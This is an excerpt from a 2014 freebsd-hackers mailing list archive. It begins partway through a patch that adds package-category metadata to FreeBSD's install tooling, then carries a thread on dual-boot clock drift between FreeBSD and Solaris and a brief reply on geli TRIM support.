${DESTDIR}${DEBUGFILEDIR} .endif ${INSTALL} -T debug -o ${LIBOWN} -g ${LIBGRP} -m ${DEBUGMODE} \ - ${_INSTALLFLAGS} \ + ${_INSTALLFLAGS} ${_DEV_PKG_FLAGS} \ ${SHLIB_NAME}.debug ${DESTDIR}${DEBUGFILEDIR} .endif .if defined(SHLIB_LINK) @@ -332,12 +340,12 @@ _libinstall: -e 's,@@LIBDIR@@,${_LDSCRIPTROOT}${LIBDIR},g' \ ${.CURDIR}/${SHLIB_LDSCRIPT} > lib${LIB}.ld ${INSTALL} -S -C -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ - ${_INSTALLFLAGS} lib${LIB}.ld = ${DESTDIR}${LIBDIR}/${SHLIB_LINK} + ${_INSTALLFLAGS} ${_PKG_FLAGS} lib${LIB}.ld = ${DESTDIR}${LIBDIR}/${SHLIB_LINK} .else .if ${SHLIBDIR} =3D=3D ${LIBDIR} - ${INSTALL_SYMLINK} ${SHLIB_NAME} = ${DESTDIR}${LIBDIR}/${SHLIB_LINK} + ${INSTALL_SYMLINK} ${_PKG_FLAGS} ${SHLIB_NAME} = ${DESTDIR}${LIBDIR}/${SHLIB_LINK} .else - ${INSTALL_SYMLINK} ${_SHLIBDIRPREFIX}${SHLIBDIR}/${SHLIB_NAME} \ + ${INSTALL_SYMLINK} ${_PKG_FLAGS} = ${_SHLIBDIRPREFIX}${SHLIBDIR}/${SHLIB_NAME} \ ${DESTDIR}${LIBDIR}/${SHLIB_LINK} .if exists(${DESTDIR}${LIBDIR}/${SHLIB_NAME}) -chflags noschg ${DESTDIR}${LIBDIR}/${SHLIB_NAME} @@ -349,11 +357,11 @@ _libinstall: .endif # SHIB_NAME .if defined(INSTALL_PIC_ARCHIVE) && defined(LIB) && !empty(LIB) && = ${MK_TOOLCHAIN} !=3D "no" ${INSTALL} -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ - ${_INSTALLFLAGS} lib${LIB}_pic.a ${DESTDIR}${LIBDIR} + ${_INSTALLFLAGS} ${_DEV_PKG_FLAGS} lib${LIB}_pic.a = ${DESTDIR}${LIBDIR} .endif .if defined(WANT_LINT) && !defined(NO_LINT) && defined(LIB) && = !empty(LIB) ${INSTALL} -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ - ${_INSTALLFLAGS} ${LINTLIB} ${DESTDIR}${LINTLIBDIR} + ${_INSTALLFLAGS} ${_DEV_PKG_FLAGS} ${LINTLIB} = ${DESTDIR}${LINTLIBDIR} .endif .endif # !defined(INTERNALLIB) =20 diff --git a/share/mk/bsd.links.mk b/share/mk/bsd.links.mk index 1e4d57e..c9f83f0 100644 --- a/share/mk/bsd.links.mk +++ b/share/mk/bsd.links.mk @@ -8,7 +8,8 @@ afterinstall: _installlinks .ORDER: realinstall _installlinks _installlinks: .if defined(LINKS) && !empty(LINKS) - @set ${LINKS}; \ + @echo LINKFOO + set ${LINKS}; \ while test $$# -ge 2; do \ l=3D${DESTDIR}$$1; \ shift; \ @@ -19,7 +20,8 @@ _installlinks: done; true .endif .if defined(SYMLINKS) && !empty(SYMLINKS) - @set ${SYMLINKS}; \ + @echo SYMFOO + set ${SYMLINKS}; \ while test $$# -ge 2; do \ l=3D$$1; \ shift; \ diff --git a/share/mk/bsd.man.mk b/share/mk/bsd.man.mk index 6445ba3..6cbead4 100644 --- a/share/mk/bsd.man.mk +++ b/share/mk/bsd.man.mk @@ -54,6 +54,11 @@ .endif =20 MINSTALL?=3D ${INSTALL} -o ${MANOWN} -g ${MANGRP} -m ${MANMODE} +.if (defined(NO_ROOT) || defined(LOG_META_INFO)) && = defined(META_CATEGORY) +# Man pages go into the doc package, and the package specified. +MINSTALL+=3D -P ${META_CATEGORY}:doc +_META_INFO=3D -P ${META_CATEGORY}:doc +.endif =20 CATDIR=3D ${MANDIR:H:S/$/\/cat/} CATEXT=3D .cat @@ -216,7 +221,7 @@ _maninstall: ${MAN} t=3D${DESTDIR}${MANDIR}$${sect}${MANSUBDIR}/$$name; \ ${ECHO} $${t}${ZEXT} -\> $${l}${ZEXT}; \ rm -f $${t} $${t}${MCOMPRESS_EXT}; \ - ${INSTALL_LINK} $${l}${ZEXT} $${t}${ZEXT}; \ + ${INSTALL_LINK} ${_META_INFO} $${l}${ZEXT} $${t}${ZEXT}; = \ done .if defined(MANBUILDCAT) && !empty(MANBUILDCAT) @set ${MLINKS:C/\.([^.]*)$/.\1 \1/}; \ @@ -231,7 +236,7 @@ _maninstall: ${MAN} t=3D${DESTDIR}${CATDIR}$${sect}${MANSUBDIR}/$$name; \ ${ECHO} $${t}${ZEXT} -\> $${l}${ZEXT}; \ rm -f $${t} $${t}${MCOMPRESS_EXT}; \ - ${INSTALL_LINK} $${l}${ZEXT} $${t}${ZEXT}; \ + ${INSTALL_LINK} ${_META_INFO} $${l}${ZEXT} $${t}${ZEXT}; = \ done .endif .endif diff --git a/sys/Makefile b/sys/Makefile index 74068d1..d5d84b3 100644 --- a/sys/Makefile +++ b/sys/Makefile @@ -1,5 +1,8 @@ # $FreeBSD$ =20 +META_CATEGORY=3D kernel +.EXPORTVAR: META_CATEGORY + .include =20 # The boot loader diff --git a/sys/conf/kern.post.mk b/sys/conf/kern.post.mk index 1de2e1e..46884de 100644 --- a/sys/conf/kern.post.mk +++ b/sys/conf/kern.post.mk @@ -245,6 +245,10 @@ links: sed 's,../.*/\(.*.o\),rm -f \1;ln -s ../GENERIC/\1 \1,' > = makelinks sh makelinks; rm -f dontlink =20 +.if defined(META_CATEGORY) +META_LOG_SYMBOLS=3D -P ${META_CATEGORY}:dev +.endif + kernel-tags: @[ -f .depend ] || { echo "you must make depend first"; exit 1; = } sh $S/conf/systags.sh @@ -272,7 +276,7 @@ kernel-install: ${INSTALL} -p -m 555 -o ${KMODOWN} -g ${KMODGRP} ${KERNEL_KO} = ${DESTDIR}${KODIR} .if defined(DEBUG) && !defined(INSTALL_NODEBUG) && \ (defined(MK_KERNEL_SYMBOLS) && ${MK_KERNEL_SYMBOLS} !=3D "no") - ${INSTALL} -p -m 555 -o ${KMODOWN} -g ${KMODGRP} = ${KERNEL_KO}.symbols ${DESTDIR}${KODIR} + ${INSTALL} ${META_LOG_SYMBOLS} -p -m 555 -o ${KMODOWN} -g = ${KMODGRP} ${KERNEL_KO}.symbols ${DESTDIR}${KODIR} .endif .if defined(KERNEL_EXTRA_INSTALL) ${INSTALL} -p -m 555 -o ${KMODOWN} -g ${KMODGRP} = ${KERNEL_EXTRA_INSTALL} ${DESTDIR}${KODIR} diff --git a/sys/conf/kmod.mk b/sys/conf/kmod.mk index cd11e3a..ea50d33 100644 --- a/sys/conf/kmod.mk +++ b/sys/conf/kmod.mk @@ -68,6 +68,10 @@ KMODLOAD?=3D /sbin/kldload KMODUNLOAD?=3D /sbin/kldunload OBJCOPY?=3D objcopy =20 +.if defined(META_CATEGORY) +META_LOG_SYMBOLS=3D -P ${META_CATEGORY}:dev +.endif + .if defined(KMODDEPS) .error "Do not use KMODDEPS on 5.0+; use MODULE_VERSION/MODULE_DEPEND" .endif @@ -287,7 +291,7 @@ _kmodinstall: .if defined(DEBUG_FLAGS) && !defined(INSTALL_NODEBUG) && \ (defined(MK_KERNEL_SYMBOLS) && ${MK_KERNEL_SYMBOLS} !=3D "no") ${INSTALL} -o ${KMODOWN} -g ${KMODGRP} -m ${KMODMODE} \ - ${_INSTALLFLAGS} ${PROG}.symbols ${DESTDIR}${KMODDIR} + ${_INSTALLFLAGS} ${META_LOG_SYMBOLS} ${PROG}.symbols = ${DESTDIR}${KMODDIR} .endif =20 .include diff --git a/tools/install.sh b/tools/install.sh index c28bd89..a88387b 100644 --- a/tools/install.sh +++ b/tools/install.sh @@ -35,7 +35,7 @@ while [ $# -gt 0 ]; do case $1 in -d) dirmode=3D"YES"; shift;; -[bCcpSsv]) shift;; - -[BDfghMmNoTU]) shift; shift;; + -[PBDfghMmNoTU]) shift; shift;; -[BDfghMmNoTU]*) shift;; -l) shift diff --git a/usr.bin/Makefile b/usr.bin/Makefile index 5e3f152..eecd5ec 100644 --- a/usr.bin/Makefile +++ b/usr.bin/Makefile @@ -1,6 +1,9 @@ # From: @(#)Makefile 8.3 (Berkeley) 1/7/94 # $FreeBSD$ =20 +META_CATEGORY=3Dbase +.EXPORTVAR: META_CATEGORY + .include =20 # XXX MISSING: deroff diction graph learn plot diff --git a/usr.bin/clang/Makefile b/usr.bin/clang/Makefile index db5fae7..b4a52f3 100644 --- a/usr.bin/clang/Makefile +++ b/usr.bin/clang/Makefile @@ -1,5 +1,8 @@ # $FreeBSD$ =20 +META_CATEGORY=3Ddev +.EXPORTVAR: META_CATEGORY + .include =20 SUBDIR=3D clang clang-tblgen tblgen diff --git a/usr.bin/lex/Makefile b/usr.bin/lex/Makefile index 947eba1..1ba000e 100644 --- a/usr.bin/lex/Makefile +++ b/usr.bin/lex/Makefile @@ -9,6 +9,9 @@ # Also note that flex.skel no longer gets installed. # =20 +META_CATEGORY=3D dev +.EXPORTVAR: META_CATEGORY + PROG=3D lex LINKS+=3D ${BINDIR}/lex ${BINDIR}/lex++ LINKS+=3D ${BINDIR}/lex ${BINDIR}/flex diff --git a/usr.bin/xinstall/xinstall.c b/usr.bin/xinstall/xinstall.c index 15b115a..a05a87c 100644 --- a/usr.bin/xinstall/xinstall.c +++ b/usr.bin/xinstall/xinstall.c @@ -116,7 +116,7 @@ static mode_t mode =3D S_IRWXU | S_IRGRP | S_IXGRP | = S_IROTH | S_IXOTH; static FILE *metafp; static const char *group, *owner; static const char *suffix =3D BACKUP_SUFFIX; -static char *destdir, *digest, *fflags, *metafile, *tags; +static char *destdir, *digest, *fflags, *metafile, *category, *tags; =20 static int compare(int, const char *, size_t, int, const char *, = size_t, char **); @@ -151,9 +151,11 @@ main(int argc, char *argv[]) char *p; const char *to_name; =20 + category =3D getenv("META_CATEGORY"); + iflags =3D 0; group =3D owner =3D NULL; - while ((ch =3D getopt(argc, argv, = "B:bCcD:df:g:h:l:M:m:N:o:pSsT:Uv")) !=3D + while ((ch =3D getopt(argc, argv, = "B:bCcD:df:g:h:l:M:m:N:o:pSsT:UvP:")) !=3D -1) switch((char)ch) { case 'B': @@ -216,6 +218,10 @@ main(int argc, char *argv[]) case 'M': metafile =3D optarg; break; + case 'P': + if (strlen(optarg) > 0) + category =3D optarg; + break; case 'm': haveopt_m =3D 1; if (!(set =3D setmode(optarg))) @@ -634,7 +640,7 @@ makelink(const char *from_name, const char *to_name, if (!haveopt_f) fflags =3D NULL; dres =3D digest_file(from_name); - metadata_log(to_name, "file", NULL, = NULL, + metadata_log(to_name, "hlink", NULL, = destdir ? from_name + strlen(destdir) : from_name, dres, to_sb.st_size); free(dres); mode =3D omode; @@ -1337,9 +1343,15 @@ metadata_log(const char *path, const char *type, = struct timeval *tv, if (group) fprintf(metafp, " gname=3D%s", group); fprintf(metafp, " mode=3D%#o", mode); - if (slink) { + if (slink && + (strcmp(type, "link") =3D=3D 0 || + strcmp(type, "hlink") =3D=3D 0)) { + const char *prefix =3D ""; strsvis(buf, slink, VIS_CSTYLE, extra); /* encode link = */ - fprintf(metafp, " link=3D%s", buf); + if (strcmp(type, "hlink") =3D=3D 0) { + prefix =3D "."; + } + fprintf(metafp, " %s=3D%s%s", type, prefix, buf); } if (*type =3D=3D 'f') /* type=3Dfile */ fprintf(metafp, " size=3D%lld", (long long)size); @@ -1352,6 +1364,8 @@ metadata_log(const char *path, const char *type, = struct timeval *tv, fprintf(metafp, " flags=3D%s", fflags); if (tags) fprintf(metafp, " tags=3D%s", tags); + if (category) + fprintf(metafp, " category=3D%s", category); fputc('\n', metafp); /* Flush line. */ fflush(metafp); @@ -1372,15 +1386,15 @@ usage(void) { (void)fprintf(stderr, "usage: install [-bCcpSsUv] [-f flags] [-g group] [-m mode] [-o = owner]\n" -" [-M log] [-D dest] [-h hash] [-T tags]\n" +" [-M log] [-P category] [-D dest] [-h hash] [-T tags]\n" " [-B suffix] [-l linkflags] [-N dbdir]\n" " file1 file2\n" " install [-bCcpSsUv] [-f flags] [-g group] [-m mode] [-o = owner]\n" -" [-M log] [-D dest] [-h hash] [-T tags]\n" +" [-M log] [-P category] [-D dest] [-h hash] [-T tags]\n" " [-B suffix] [-l linkflags] [-N dbdir]\n" " file1 ... fileN directory\n" " install -dU [-vU] [-g group] [-m mode] [-N dbdir] [-o owner]\n" -" [-M log] [-D dest] [-h hash] [-T tags]\n" +" [-M log] [-P category] [-D dest] [-h hash] [-T tags]\n" " directory ...\n"); exit(EX_USAGE); /* NOTREACHED */ diff --git a/usr.sbin/Makefile b/usr.sbin/Makefile index 7a6fefd..4c3b89f 100644 --- a/usr.sbin/Makefile +++ b/usr.sbin/Makefile @@ -1,6 +1,9 @@ # From: @(#)Makefile 5.20 (Berkeley) 6/12/93 # $FreeBSD$ =20 +META_CATEGORY=3Dbase +.EXPORTVAR: META_CATEGORY + .include =20 SUBDIR=3D adduser \ --Apple-Mail=_15A94C1A-F8ED-40F8-8003-9FB67C14B62F-- From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 02:09:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4F0E0C60 for ; Thu, 10 Jul 2014 02:09:50 +0000 (UTC) Received: from mail-wi0-x22c.google.com (mail-wi0-x22c.google.com [IPv6:2a00:1450:400c:c05::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E179022BA for ; Thu, 10 Jul 2014 02:09:49 +0000 (UTC) Received: by mail-wi0-f172.google.com with SMTP id hi2so3722452wib.5 for ; Wed, 09 Jul 2014 19:09:48 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=njdZKV/6d8DSmgGRnjVpQNsNH2I9iTRCMZASF5E27tk=; b=qZ9rDyxE94DVAcVOQuQIcWONLwB88E7uV+rH0Sj9oEBgHysE4PkwbJqlqsZskwEib7 MjZDkLgRSHddhjIgSSLuekoxOOTlJ4xSY0gR9iZJFIaychCq6jwlZKRUMECrGub44MCu BLTK/ts9ALJEpcgEzusB6FrAewCKls+ZNmjfG0tctqMzfEGrA+3XsAilBiSjQcOcqWtr qEEKONN7v37eB7lWuDS86vL3Y0C3FL8CPOJ4e3xNELzt1PAhteSjOKBfIBwdCc11M3k+ NYhj6wzUFW2a6AW30LdTYs/gOGpME8raGBeZd0A2dIAx4DNGueOkItWkxj9vOyYoaSeO YqGw== MIME-Version: 1.0 X-Received: by 10.180.89.193 with SMTP id bq1mr15140445wib.81.1404958188146; Wed, 09 Jul 2014 19:09:48 -0700 (PDT) Received: by 10.180.149.194 with HTTP; Wed, 9 Jul 2014 19:09:48 -0700 (PDT) Date: Thu, 10 Jul 2014 12:09:48 +1000 Message-ID: Subject: FreeBSD/Solaris dual-boot, problems with time (ntpd) From: Noel Hunt To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 02:09:50 -0000 I have a dual-boot machine, running ntpd in both OSes, but when I switch from one OS to the other the time is wildly out. Can someone explain what is going on please? Noel Hunt From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 03:07:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 405E66E2 for ; Thu, 10 Jul 2014 03:07:52 +0000 (UTC) Received: from alogt.com (alogt.com [69.36.191.58]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1399D27C2 for ; Thu, 10 Jul 2014 03:07:51 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=alogt.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date; bh=riHPLQk7J/GggRREuCa7tSQmm+RCjiBtu2p6kGLQpzQ=; b=TcmFKCAfgXc3Gqr2NnFKlXFQa81u+kDs1jr0oXMOlLnJscZtIWPrgRaiuKe0PTsBE9j/Rc+aHuivl/QyTmkvf3xjIWVzHy9g59GQ1omhpoTLBq1lccIucT1K05v7+mQxY6jdgm9PvJi1+OBeiklOu3VVqEfQhjWiT6HHKX3MDNs=; Received: from [182.0.177.130] (port=18945 helo=X220.alogt.com) by sl-508-2.slc.westdc.net with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1X54i5-0028kI-SG; Wed, 09 Jul 2014 21:07:50 -0600 Date: Thu, 10 Jul 2014 11:07:45 +0800 From: Erich Dollansky To: freebsd-hackers@freebsd.org Subject: Re: FreeBSD/Solaris dual-boot, problems with time (ntpd) Message-ID: <20140710110745.00aa6e92@X220.alogt.com> In-Reply-To: References: X-Mailer: Claws Mail 3.10.1 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sl-508-2.slc.westdc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - alogt.com X-Get-Message-Sender-Via: sl-508-2.slc.westdc.net: authenticated_id: erichsfreebsdlist@alogt.com X-Source: X-Source-Args: X-Source-Dir: Cc: Noel Hunt X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 03:07:52 -0000 Hi, On Thu, 10 Jul 2014 12:09:48 +1000 Noel Hunt wrote: > I have a dual-boot machine, running ntpd in both OSes, but when > I switch from one OS to the other the time is wildly out. > > Can someone explain what is going on please? > could it be that the time difference is the time difference between your time zone and GMT? FreeBSD has the clock normally running on GMT. Did you check that you have set the time zones of both installations correctly. Erich From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 06:45:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 893BC37E for ; Thu, 10 Jul 2014 06:45:59 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 660182806 for ; Thu, 10 Jul 2014 06:45:59 +0000 (UTC) Received: from [172.17.2.175] (global-1-17.nat.csx.cam.ac.uk [131.111.184.17]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id 3B7E52575E for ; Thu, 10 Jul 2014 06:45:52 +0000 (UTC) Message-ID: <53BE369F.5000604@freebsd.org> Date: Thu, 10 Jul 2014 02:45:51 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: FreeBSD/Solaris dual-boot, problems with time (ntpd) References: <20140710110745.00aa6e92@X220.alogt.com> In-Reply-To: <20140710110745.00aa6e92@X220.alogt.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 06:45:59 -0000 On 2014-07-09 23:07, Erich Dollansky wrote: > Hi, > > On Thu, 10 Jul 2014 12:09:48 +1000 > Noel Hunt wrote: > >> I have a dual-boot machine, running ntpd in both OSes, but when >> I switch from one OS to the other the time is wildly out. >> >> Can someone explain what is going on please? >> > could it be that the time difference is the time difference between > your time zone and GMT? > > FreeBSD has the clock normally running on GMT. > > Did you check that you have set the time zones of both installations > correctly. > > Erich > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > On FreeBSD, run 'tzsetup' and select 'no' when asked 'is your CMOS clock in UTC', this will leave your cmos clock in local time, which is what other OSs expect. -- Allan Jude From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 07:01:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E9CFD5EB for ; Thu, 10 Jul 2014 07:01:42 +0000 (UTC) Received: from nskntmtas02p.mx.bigpond.com (nskntmtas02p.mx.bigpond.com [61.9.168.140]) by mx1.freebsd.org (Postfix) with ESMTP id 82A53291C for ; Thu, 10 Jul 2014 07:01:42 +0000 (UTC) Received: from nskntcmgw05p ([61.9.169.165]) by nskntmtas02p.mx.bigpond.com with ESMTP id <20140710070134.EFBF2564.nskntmtas02p.mx.bigpond.com@nskntcmgw05p>; Thu, 10 Jul 2014 07:01:34 +0000 Received: from hermes.heuristicsystems.com.au ([121.210.107.100]) by nskntcmgw05p with BigPond Outbound id QX1a1o00129zwdD01X1a6G; Thu, 10 Jul 2014 07:01:34 +0000 X-Authority-Analysis: v=2.0 cv=W5W6pGqk c=1 sm=1 a=SEJ2iDwVkb98DYvesvueMw==:17 a=FOfJmfHOgUsA:10 a=8nJEP1OIZ-IA:10 a=GHIR_BbyAAAA:8 a=tz2qsJCStIgtPGoDufsA:9 a=wPNLvfGTeEIA:10 a=0qwFS9rOb7oA:10 a=BlqBU5lJ4xUA:10 a=F-d4tdU4grsA:10 a=SEJ2iDwVkb98DYvesvueMw==:117 Received: from [10.0.5.3] (ewsw01.hs [10.0.5.3]) (authenticated bits=0) by hermes.heuristicsystems.com.au (8.14.5/8.13.6) with ESMTP id s6A72q0V005858 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT); Thu, 10 Jul 2014 17:03:00 +1000 (EST) (envelope-from dewayne.geraghty@heuristicsystems.com.au) Message-ID: <53BE3A34.8000103@heuristicsystems.com.au> Date: Thu, 10 Jul 2014 17:01:08 +1000 From: Dewayne Geraghty User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: RW , freebsd-hackers@freebsd.org Subject: Re: geli+trim support References: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> <53B6427D.1010403@gooch.io> <60445.1404461976@critter.freebsd.dk> <53B750C1.8070706@gooch.io> <43222.1404549367@critter.freebsd.dk> <20856DE3-6622-455D-9B15-B4723D75B0DB@gmail.com> <20140710004628.0b3deade@gumby.homeunix.com> In-Reply-To: <20140710004628.0b3deade@gumby.homeunix.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 07:01:43 -0000 Thank-you RW for clarifying the discussion and looking at both sides of the issue. I agree that having TRIM available is, in my case, a preferred risk and thanks also to Wojciech for raising this as I was surprised to find that neither geli nor gshsec support BIO_DELETE. But whether to zero or generate random data per "/usr/src/sys/geom/eli/g_eli.c" (around line 282), I sense a sysctl coming... :) From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 11:00:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EA03623B for ; Thu, 10 Jul 2014 11:00:58 +0000 (UTC) Received: from be-well.ilk.org (be-well.ilk.org [23.30.133.173]) by mx1.freebsd.org (Postfix) with ESMTP id C31612D8B for ; Thu, 10 Jul 2014 11:00:58 +0000 (UTC) Received: from lowell-desk.lan (lowell-desk.lan [172.30.250.41]) by be-well.ilk.org (Postfix) with ESMTP id 9339033C46 for ; Thu, 10 Jul 2014 07:00:52 -0400 (EDT) Received: by lowell-desk.lan (Postfix, from userid 1147) id 8E9523984C; Thu, 10 Jul 2014 07:00:51 -0400 (EDT) From: Lowell Gilbert To: freebsd-hackers@freebsd.org Subject: Re: FreeBSD/Solaris dual-boot, problems with time (ntpd) References: <20140710110745.00aa6e92@X220.alogt.com> <53BE369F.5000604@freebsd.org> Date: Thu, 10 Jul 2014 07:00:50 -0400 In-Reply-To: <53BE369F.5000604@freebsd.org> (Allan Jude's message of "Thu, 10 Jul 2014 02:45:51 -0400") Message-ID: <44lhs1mqal.fsf@lowell-desk.lan> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 11:00:59 -0000 Allan Jude writes: > On 2014-07-09 23:07, Erich Dollansky wrote: >> Hi, >> >> On Thu, 10 Jul 2014 12:09:48 +1000 >> Noel Hunt wrote: >> >>> I have a dual-boot machine, running ntpd in both OSes, but when >>> I switch from one OS to the other the time is wildly out. >>> >>> Can someone explain what is going on please? >>> >> could it be that the time difference is the time difference between >> your time zone and GMT? >> >> FreeBSD has the clock normally running on GMT. >> >> Did you check that you have set the time zones of both installations >> correctly. >> >> Erich > > On FreeBSD, run 'tzsetup' and select 'no' when asked 'is your CMOS clock > in UTC', this will leave your cmos clock in local time, which is what > other OSs expect. For values of "other OSs" that are limited to "Windows". Solaris normally expects the real-time clock to be in UTC. On some platforms it has a command (rtc) to adjust this to another zone (an arbitrary zone, not necessarily the system's default zone like FreeBSD supports). From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 04:17:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E8BF9F49 for ; Thu, 10 Jul 2014 04:17:17 +0000 (UTC) Received: from cargobay.net (cargobay.net [162.220.58.155]) by mx1.freebsd.org (Postfix) with ESMTP id A47752D40 for ; Thu, 10 Jul 2014 04:17:16 +0000 (UTC) Received: from [10.53.97.25] (unknown [166.205.50.4]) by cargobay.net (Postfix) with ESMTPSA id 79ABC725 for ; Thu, 10 Jul 2014 04:00:28 +0000 (UTC) From: "Chad J. Milios" Mime-Version: 1.0 (1.0) Subject: Re: FreeBSD/Solaris dual-boot, problems with time (ntpd) Message-Id: <06FFA5E9-EAE1-4085-960A-4B06F313E961@ccsys.com> Date: Thu, 10 Jul 2014 00:07:13 -0400 References: In-Reply-To: To: "freebsd-hackers@freebsd.org" X-Mailer: iPhone Mail (11D257) X-Mailman-Approved-At: Thu, 10 Jul 2014 12:23:08 +0000 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 04:17:18 -0000 > On Jul 9, 2014, at 10:09 PM, Noel Hunt wrote: >=20 > I have a dual-boot machine, running ntpd in both OSes, but when > I switch from one OS to the other the time is wildly out. >=20 > Can someone explain what is going on please? >=20 > Noel Hunt Does your CMOS clock (aka BIOS) keep wallclock time or universal time? Eithe= r OS probably has the opposite idea. If you never boot DOS/Windows, your BIOS should probably keep universal time= . Each OS has a way to let it know if that is or is not the case. In FreeBSD, i= f any file exists at /etc/wall_cmos_clock then the kernel treats the CMOS cl= ock as the local time. If that file does not exist then the default is that t= he CMOS clock represents universal coordinated time (aka UTC). I don't use S= olaris enough to tell you its equivalent procedure from memory but it has th= e same toggle in there somewhere. (My knowledge of this is decades old. Can someone else confirm this is still= the canonical way to set this preference in FreeBSD?)= From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 15:35:33 2014 